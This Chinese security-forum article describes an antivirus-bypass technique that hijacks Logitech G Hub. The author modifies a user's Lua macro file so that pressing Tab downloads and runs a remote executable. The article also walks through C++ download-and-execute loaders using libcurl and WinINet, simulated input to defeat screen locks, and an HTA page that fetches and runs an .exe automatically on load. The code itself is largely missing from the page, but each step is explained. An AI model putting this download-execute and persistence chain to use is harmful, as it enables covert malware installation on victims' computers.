技术社区
安全培训
技术社群
积分商城
先知平台
漏洞库
历史记录
清空历史记录
相关的动态
相关的文章
相关的用户
相关的圈子
相关的话题
注册
登录
另辟蹊径的bypass—罗技
Bat-Hibara
历史精选
1035浏览 · 2025-01-24 04:00
返回文档
本代码仅供学习、研究、教育或合法用途。开发者明确声明其无意将该代码用于任何违法、犯罪或违反道德规范的行为。任何个人或组织在使用本代码时,需自行确保其行为符合所在国家或地区的法律法规。
开发者对任何因直接或间接使用该代码而导致的法律责任、经济损失或其他后果概不负责。使用者需自行承担因使用本代码产生的全部风险和责任。请勿将本代码用于任何违反法律、侵犯他人权益或破坏公共秩序的活动。
感谢
1759800277199196
的反馈,本文对您提出的宝贵建议进行了采纳,写下这篇对罗技鼠标宏的利用的文章,一定程度上实现了1.2.3的建议
环境的准备:LGhub
什么是LGHUB?
官网:
LGHUB
LGHUB(Logitech G Hub)是罗技(Logitech)为其G系列游戏设备开发的一款专用软件。它是一款强大且直观的工具,允许用户管理和自定义罗技品牌的外设设备,包括鼠标、键盘、耳机等。通过LGHUB,用户可以轻松调整设备的设置,比如灯光效果、DPI灵敏度、按键绑定以及宏功能等,从而优化游戏体验。
罗技鼠标宏是什么?
罗技鼠标宏是一种通过LGHUB软件实现的功能,允许用户将一系列复杂的操作录制并绑定到鼠标的某个按钮上。一旦绑定,用户只需按下对应的按钮,鼠标就会自动执行预设的一系列操作。该功能非常适合需要重复输入相同命令或操作的场景,比如快速连击、复杂技能释放等。
鼠标宏的核心功能包括:
1
动作录制
:记录用户的键盘按键、鼠标点击、延迟时间等操作。
2
自定义编辑
:用户可以调整录制内容,优化操作流畅性。
3
绑定按键
:将宏指令绑定到鼠标的可编程按键上。
4
高级功能支持
:支持循环宏、按住宏(按住键触发)、触发停止等模式。
下载地址:
下载地址
LGHub 宏脚本利用-json
在默认情况下,LGHub 的宏脚本通常存储在以下目录中,具体路径根据操作系统的不同可能有所不同:
Windows
macOS
如何修改宏脚本
1
找到宏文件
:
○
在上述路径中找到您的设备对应的配置文件(通常是一个以设备名称为文件夹名的文件夹)。
○
打开该文件夹,您应该能够看到
.lgprofile
文件,其中包含设备配置和宏脚本。
1
修改宏代码
:
○
宏脚本通常会存储为 JSON 格式。您可以用文本编辑器(如 Notepad++ 或 Visual Studio Code)打开这些文件。
○
查找包含宏动作的部分,通常会有按键、时间延迟等信息。
示例
(一个简单的宏示例):
在这个示例中,宏按顺序执行:按下 "a" 键,等待 100 毫秒,然后按下 "b" 键。
1
保存和应用修改
:
○
修改完宏脚本后,保存文件并重新启动 LGHub,您应该能看到新的宏配置应用到您的设备上。
.lua
文件的利用
.lua
文件通常用于定义复杂的宏和自动化脚本,它们允许用户编写更高级的逻辑,比如条件判断、循环、事件响应等,远超 LGHub 内置的简单宏功能。通过 Lua 脚本,您可以为您的 Logitech 设备创建定制化的操作流程。
如何修改
.lua
文件
1
找到
**.lua**
文件
:
○
.lua
文件通常与
.lgprofile
文件一同存储在 LGHub 的配置文件夹中。
○
路径通常是类似这样的:
■
Windows
:
C:\Users\<用户名>\AppData\Local\LGHUB\profiles
■
macOS
:
~/Library/Application Support/LGHUB/profiles
2
修改
**.lua**
文件
:
○
使用文本编辑器(如 Notepad++、Sublime Text 或 Visual Studio Code)打开
.lua
文件。
○
在文件中,您会看到 Lua 脚本代码。以下是一个简单的
.lua
文件示例,展示如何通过 Lua 脚本控制鼠标和键盘操作:
在这个示例中,脚本定义了一个简单的事件处理函数
on_event
,当鼠标左键被按下时,它会模拟按下并释放键盘上的 "a" 键。
3
保存并测试宏
:
○
完成修改后,保存
.lua
文件,并确保它与 LGHub 配置文件一起保存。
○
在 LGHub 中,您可以加载这个
.lua
脚本文件到您的设备配置,并进行测试。
注意事项
●
语法和函数
: 确保您了解 Lua 脚本的语法。如果不熟悉 Lua,您可以参考
Lua官方文档
来学习基本的语法和函数。
●
调试
: 修改
.lua
文件时,可以通过打印输出或日志记录来调试脚本。例如,使用
OutputLogMessage
函数将调试信息输出到日志文件中,帮助您检查脚本的行为。
示例代码
以下是一些常见的
.lua
脚本片段,展示了如何进行简单的操作:
示例 1: 按下和释放某个键
示例 2: 自动点击
通过修改
.lua
文件,您可以非常灵活地控制和自动化您的 Logitech 设备。
利用思路
罗技宏自带的默认配置如下:
有些用户也会对宏进行修改来满足日常需求,而且罗技本身自带启动,可以借用罗技来完成劫持,我们需要做的就是获取用户现在默认的配置,进入指定目录,修改对应宏代码
代码实现
提示:
1
从网络下载文件
:可以使用
libcurl
或 Windows API 来下载文件。
2
修改
**.lua**
文件
:通过 C++ 打开文件并修改内容。
3
执行文件
:可以使用 Windows API 执行文件。
1. 获取 LGHub 配置文件夹路径
首先,我们需要通过查询环境变量或常规文件路径找到 LGHub 配置文件的存储位置。
2. 修改
.lua
文件
通过读取、修改和写回 Lua 文件,我们可以更改脚本逻辑,使其在按下 "Tab" 键时执行所需的操作。
3. 下载文件并执行
使用 C++ 结合
libcurl
或 Windows API 下载文件,并使用
CreateProcess
等 API 执行下载的文件。
完整 C++ 示例(框架)
解释代码:
1
下载文件
:使用
libcurl
库从指定的 URL(
192.168.1.1/1.exe
)下载文件并保存为
1.exe
。要使用
libcurl
,您需要安装并链接到该库。
2
修改
**.lua**
文件
:该代码示例修改了 Lua 脚本,添加了当按下 "Tab" 键时下载并执行文件的功能。
3
执行文件
:一旦文件成功下载,使用 Windows
system
命令启动下载的
.exe
文件。
编译和运行:
●
您需要确保链接了
libcurl
库(如果用于下载文件)。您可以从
libcurl官网
获取它。
●
编译时,链接
libcurl
和标准的 C++ 库。
●
替换代码中的路径以适应您自己的文件结构,特别是 LGHub 配置路径。
如果没有Curl库,那么用VS自带的wininet:
下面的示例使用
WinINet
库来完成从 URL 下载文件的操作。
使用
**WinINet**
库下载文件并执行
代码说明:
1
下载文件
:
○
使用
**WinINet**
API 中的
**InternetOpen**
和
**InternetOpenUrlA**
函数来初始化网络连接和访问 URL。
○
使用
**InternetReadFile**
读取文件内容,并通过
**ofstream**
写入本地文件。
○
该方法直接利用 Windows 内置的网络库,不依赖外部库。
2
修改 Lua 脚本:
○
读取并修改
**.lua**
文件,以便当 "Tab" 键被按下时,执行下载和运行外部文件的命令。
○
我们通过 Lua 脚本的
**os.execute**
来调用
**start**
命令,这将下载并运行
**1.exe**
。
3
执行文件:
○
使用
**system**
函数启动下载的
**.exe**
文件。
编译和运行:
●
编译时,请确保在项目设置中链接了
**wininet.lib**
。
○
在 Visual Studio 中,您可以在
项目属性
->
链接器
->
输入
->
附加依赖项
中添加
**wininet.lib**
。
●
替换 Lua 脚本路径和其他配置,确保它们指向正确的文件和路径。
如果没有罗技鼠标宏怎么办
思路一:下载者+模拟键鼠(可以使用窗口定位,代码坐标参数参考)
·参考
NtUserInjectKeyboardInput函数绕过杀软屏幕锁定模拟键鼠
1
下载文件
:使用 Windows 内置的
WinINet
库或其他方法下载文件。
2
打开下载的文件
:使用
ShellExecute
或
CreateProcess
打开下载的
.exe
文件。
3
模拟鼠标点击
:使用 Windows API 模拟鼠标事件。
下面是一个完整的 C++ 示例代码,展示了如何执行这些操作:
完整的 C++ 示例代码
代码说明:
1
下载文件
:
○
使用
WinINet
API 下载文件。文件会被保存到用户的
Downloads
文件夹,路径为
C:\\Users\\<username>\\Downloads\\lghub_installer.exe
(请根据实际路径进行修改)。
2
打开下载的文件
:
○
使用
ShellExecuteA
打开下载的
.exe
文件,这将启动安装程序。
SW_SHOWNORMAL
用于打开程序时让它显示出来。
3
模拟鼠标点击
:
○
simulate_mouse_click_at_center()
函数会将鼠标移动到屏幕的中心位置,然后模拟鼠标左键点击。使用了
SendInput
函数模拟鼠标事件。
编译和运行:
●
这个代码使用了
WinINet API
来下载文件,因此需要链接
wininet.lib
库。在 Visual Studio 中,您需要在
项目属性
->
链接器
->
输入
->
附加依赖项
中添加
wininet.lib
。
●
请确保将路径
C:\\Users\\<username>\\Downloads\\lghub_installer.exe
中的
<username>
替换为您实际的 Windows 用户名。
思路2:利用HTA下载,文章仅提供下载部分,执行不提供
·参考
HTA的利用
1.
HTA 标签
●
HTA:APPLICATION
是指定当前 HTML 页面为 HTA 应用程序,这使得该 HTML 页面具有与传统 HTML 页面不同的功能,尤其是可以访问 Windows 操作系统的更多功能。
●
ID="app"
:给 HTA 应用设置一个标识符。
●
APPLICATIONNAME="DownloadAndRunExe"
:指定应用程序的名称。
●
BORDER="thin"
、
BORDERSTYLE="normal"
:设置窗口的边框样式。
●
CAPTION="yes"
:在窗口显示标题栏。
●
CONTEXTMENU="no"
:禁用右键菜单。
●
MAXIMIZEBUTTON="no"
、
MINIMIZEBUTTON="no"
:禁用最大化和最小化按钮。
●
SHOWINTASKBAR="yes"
:在任务栏中显示应用程序图标。
●
SINGLEINSTANCE="yes"
:确保只有一个实例运行。
●
SYSMENU="yes"
:显示系统菜单。
2.
JavaScript 部分
JavaScript 解释
:
1
下载文件
:
○
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
■
创建一个
ActiveXObject
,这是一个用于执行 HTTP 请求的对象,它允许通过 JavaScript 发起 HTTP 请求。此对象是 IE 浏览器和 HTA 特有的功能,不适用于现代浏览器。
○
xhr.open("GET", url, false);
■
配置请求。
"GET"
表示请求方法为 GET,
url
是目标文件的 URL,
false
表示同步请求(即请求完成前代码不会继续执行)。
○
xhr.send();
■
发送请求并获取响应。此请求会尝试从给定的 URL 下载文件。
2
保存文件
:
○
var stream = new ActiveXObject("ADODB.Stream");
■
创建一个
ADODB.Stream
对象,用于处理二进制数据流。
○
stream.Type = 1;
■
设置流类型为二进制(
1
表示二进制流)。
○
stream.Open();
■
打开流。
○
stream.Write(xhr.responseBody);
■
将 HTTP 响应的二进制数据写入流。
○
stream.SaveToFile(destination, 2);
■
将文件流保存到指定的路径 (
D:\\1.exe
)。
○
stream.Close();
■
关闭流。
3
执行文件
:
○
var shell = new ActiveXObject("WScript.Shell");
■
创建一个
WScript.Shell
对象,它允许执行系统命令。
○
shell.Run(destination);
■
使用
Run
方法执行指定路径的
.exe
文件(即运行
D:\\1.exe
)。
4
错误处理
:
○
如果请求或下载过程中出现错误,会弹出错误消息框,显示错误代码或错误信息。
5
自动执行
:
○
window.onload = downloadAndRun;
■
在页面加载时自动调用
downloadAndRun
函数,触发下载和执行过程。
1
人收藏
0
人喜欢
转载
分享
0
条评论
某人
表情
可输入
255
字
评论
发布投稿
热门文章
1
飞塔防火墙漏洞深度利用及调试环境搭建
2
Linux Shellcode开发(Stager & Reverse Shell)
3
Windows Shellcode开发(x64 stager)
4
Fuzz挖掘sudo提权漏洞:一次堆溢出如何逆向分析出提权思路
5
1.6K主机全域沦陷实录:从单点突破到域控接管的终极横向渗透链
近期热点
一周
月份
季度
1
飞塔防火墙漏洞深度利用及调试环境搭建
2
Linux Shellcode开发(Stager & Reverse Shell)
3
Windows Shellcode开发(x64 stager)
4
Fuzz挖掘sudo提权漏洞:一次堆溢出如何逆向分析出提权思路
5
1.6K主机全域沦陷实录:从单点突破到域控接管的终极横向渗透链
暂无相关信息
暂无相关信息
优秀作者
1
一天
贡献值:18800
2
T0daySeeker
贡献值:18700
3
1174735059082055
贡献值:15000
4
Yale
贡献值:14000
5
1674701160110592
贡献值:13000
6
LeeH
贡献值:10000
7
MeteorKai
贡献值:9000
8
熊猫正正
贡献值:8000
9
lufei
贡献值:8000
10
Bu0uCat
贡献值:8000
目录
环境的准备:LGhub
什么是LGHUB?
罗技鼠标宏是什么?
鼠标宏的核心功能包括:
LGHub 宏脚本利用-json
Windows
macOS
如何修改宏脚本
.lua 文件的利用
如何修改 .lua 文件
注意事项
示例代码
示例 1: 按下和释放某个键
示例 2: 自动点击
利用思路
代码实现
提示:
1. 获取 LGHub 配置文件夹路径
2. 修改 .lua 文件
3. 下载文件并执行
完整 C++ 示例(框架)
解释代码:
编译和运行:
如果没有Curl库,那么用VS自带的wininet:
使用 **WinINet** 库下载文件并执行
代码说明:
编译和运行:
如果没有罗技鼠标宏怎么办
思路一:下载者+模拟键鼠(可以使用窗口定位,代码坐标参数参考)
完整的 C++ 示例代码
代码说明:
编译和运行:
思路2:利用HTA下载,文章仅提供下载部分,执行不提供
1. HTA 标签
2. JavaScript 部分
JavaScript 解释:
转载
标题
作者:
你好
http://www.a.com/asdsabdas
文章
转载
自
复制到剪贴板